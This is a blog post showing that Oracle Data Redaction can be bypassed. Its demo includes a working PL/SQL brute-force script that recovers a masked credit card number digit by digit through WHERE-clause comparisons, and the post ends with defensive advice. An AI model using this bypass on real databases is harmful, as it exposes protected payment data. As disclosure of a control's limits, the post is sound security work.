Translate

Wednesday, 27 August 2014

Data Redaction - See what you shouldn't see in 5 minutes



What Oracle has said about Data Redaction

I have taken the following text from the Oracle documentation and made some remarks in bold so that I do not wander away from what Data Redaction is really supposed to be used for:


"Oracle Data Redaction is useful for many different scenarios. It can be applied to a range of
packaged and custom applications to redact application screens, dashboards, and reports. It
helps you avoid making code changes in existing call center, human resources, sales, financial,
and healthcare applications. These applications frequently manage payment card (PCI),
protected health (PHI), or personally identifiable (PII) information that is subject to regulation.
Oracle Data Redaction is also useful for decision support systems that aggregate large and
diverse sets of data in a single repository for running analytics.
When an application issues a query, data is retrieved from the database and then the redaction
policy is applied. Redaction takes place immediately preceding the return of selected data, and
only at the top level of the SELECT list."

So, as we can see, the word "application" repeats itself over and over. Perhaps this is Oracle giving extreme emphasis to the fact that hell can break loose if you end user is the type of user who is familiar with the following prompt - SQL>
With this in mind, I am not implying that Oracle is overselling this feature since the text clearly states that this should be used to redact the data displayed to the end user of a packaged application. 

In the following lines I will be depicting a very simple example of how one can, in a matter of seconds, get the real credit card number of a customer:

Ok, lets start with a table called Customers

SQL> create table customers (customer_id   number(5) not null primary key,
  2  name   varchar2(40) not null,
  3  creditcard_no   varchar2(19));

Table created.

Inserting some hypothetical values:

SQL> insert into customers values (1,'Daniel Da Meda','4451-2172-9841-4368');

1 row created.

SQL> insert into customers values (2,'Alex Zaballa','5102-6342-4881-5211');

1 row created.

SQL> insert into customers values (3,'Antonio Mateus','4891-3311-0090-5005');

1 row created.

SQL> commit;

Commit complete.

col creditcard_no for a19
col name for a30
SQL> select * from customers;

CUSTOMER_ID NAME                           CREDITCARD_NO
----------- ------------------------------ -------------------
          1 Daniel Da Meda                 4451-2172-9841-4368
          2 Alex Zaballa                   5102-6342-4881-5211
          3 Antonio Mateus                 4891-3311-0090-5005

SQL> create public synonym customers for customers;

Synonym created.

Now, let's create a Data Redaction Policy to protect our customer's credit card number. For the sake of simplicity, we will protect our customers from one specific database user named watcher

SQL> create user watcher identified by icanseeyou default tablespace users temporary tablespace temp;

User created.

SQL> grant connect to watcher;

Grant succeeded.

SQL> grant select on customers to watcher;


Grant succeeded

SQL> connect watcher/icanseeyou@pdbdev

Connected.

col creditcard_no for a19
col name for a30
select * from customers;

CUSTOMER_ID NAME                           CREDITCARD_NO
----------- ------------------------------ -------------------
          1 Daniel Da Meda                 4451-2172-9841-4368
          2 Alex Zaballa                   5102-6342-4881-5211
          3 Antonio Mateus                 4891-3311-0090-5005


SQL> connect ddameda@pdbdev
Enter password: 
Connected.

For this example, I will be using OEM Cloud Control since most posts out there show how to create using command prompt.



























































You can view the SQL code by clicking on the Show SQL push button.























Once you have reviewed the code, click OK to create the policy.










Testing the policy. First attempting to retrieve the values from the customers table as the owner of the policy - ddameda:

SQL> show user

USER is "DDAMEDA"

SQL> select creditcard_no from customers;

CREDITCARD_NO
--------------------------------------------------------------------------------
4451-2172-9841-4368
5102-6342-4881-5211
4891-3311-0090-5005

As expected, there is no redaction going on when the user executing the query is not named WATCHER. We now connect as WATCHER and see what happens:

SQL> show user
USER is "WATCHER"
SQL> select creditcard_no from customers;

CREDITCARD_NO
--------------------------------------------------------------------------------
************4368
************5211

************5005

The above proves that the policy is working as intended. 

However, if the user watcher can run SQL statements directly to the database, he could still see the credit card numbers for all employees simply by running the following snippet:

SET TIMING ON
SET SERVEROUTPUT ON
DECLARE
   vcreditcard_no   CUSTOMERS.creditcard_no%TYPE;
   vcustomer_name   CUSTOMERS.name%TYPE;
BEGIN
   FOR a in 1..19 LOOP
      IF a NOT IN (5,10,15) THEN
         FOR b in 0..9 LOOP
    BEGIN
       SELECT name
 INTO vcustomer_name
 FROM CUSTOMERS
WHERE customer_id=1
          AND SUBSTR(creditcard_no,a,1) = b;
vcreditcard_no:=vcreditcard_no||b;
            EXCEPTION
       WHEN NO_DATA_FOUND THEN
    NULL;
            END;
         END LOOP;
      ELSE
         vcreditcard_no:=vcreditcard_no||'-';
      END IF;
   END LOOP;
   DBMS_OUTPUT.PUT_LINE('Credit Card Number for '||vcustomer_name||' is: '||vcreditcard_no);
END;

/

Credit Card Number for Daniel Da Meda is: 4451-2172-9841-4368

PL/SQL procedure successfully completed.

Elapsed: 00:00:00.04

The above script uses the where clause to perform a brute force comparison and tests each numeric digit from 0 to 9. At the end, it delivers the credit card number. As you can see, the process and only takes 4 centiseconds to run.


Conclusion

What I learn from this is that Oracle Data Redaction is a good tool for implementing "visual" security on new and existing applications. However, this only remain valid if the end user does not have any sort of access to the database other then through the application interface. It is important to mention also that some application will allow advanced users or developers to run SQL or procedural code from the application. This is usually the case when the application has a report generator or an interface that allows a user to write some logic and run that on the database. These cases must be visited if you want to implement Data Redaction with the intention of protecting the business against data theft.